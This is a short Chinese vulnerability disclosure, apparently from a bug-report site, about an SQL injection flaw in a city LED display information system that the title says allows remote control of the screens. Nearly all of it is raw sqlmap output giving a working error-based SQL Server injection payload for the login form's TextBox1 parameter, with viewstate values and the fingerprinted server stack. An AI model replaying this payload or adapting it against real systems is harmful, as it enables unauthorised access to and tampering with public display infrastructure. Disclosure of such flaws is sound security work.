市级LED显示屏信息显示系统SQL注射漏洞（可远程控制LED）

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
 sts:
 ---
 Place: POST
 Parameter: TextBox1
     Type: error-based
     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
     Payload: __VIEWSTATE=/wEPDwUJNTUyNjI3NDI4ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3R
 CYWNrS2V5X18WAgUMSW1hZ2VCdXR0b24xBQxJbWFnZUJ1dHRvbjJygpamJGdz4YCN7lpdiG1ys7PZqg=
 =&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDATION=/wEWBgLOsYjhDwLs0bLrBgLs0fbZDA
 Ls0Yq1BQLSwpnTCALSwtXkAldceanpG52LNpx63yyJ+5PopWeN&TextBox1=admin' AND 1318=CONV
 ERT(INT,(SELECT CHAR(113)+CHAR(105)+CHAR(100)+CHAR(104)+CHAR(113)+(SELECT (CASE
 WHEN (1318=1318) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(102)+CHAR(105)
 +CHAR(110)+CHAR(113)))-- itwg&TextBox2=admin&TextBox3=11&ImageButton1.x=50&Image
 Button1.y=10
 ---
 [12:35:41] [INFO] the back-end DBMS is Microsoft SQL Server
 web server operating system: Windows 2003 or XP
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
 back-end DBMS: Microsoft SQL Server 2005
 [12:35:41] [WARNING] HTTP error codes detected during run:
 500 (Internal Server Error) - 1 times
 [12:35:41] [INFO] fetched data logged to text files under 'C:/Python27/sqlmap/ou
 tput/**.**.**.**'
 
 [*] shutting down at 12:35:41
 
 
 C:/Python27/sqlmap>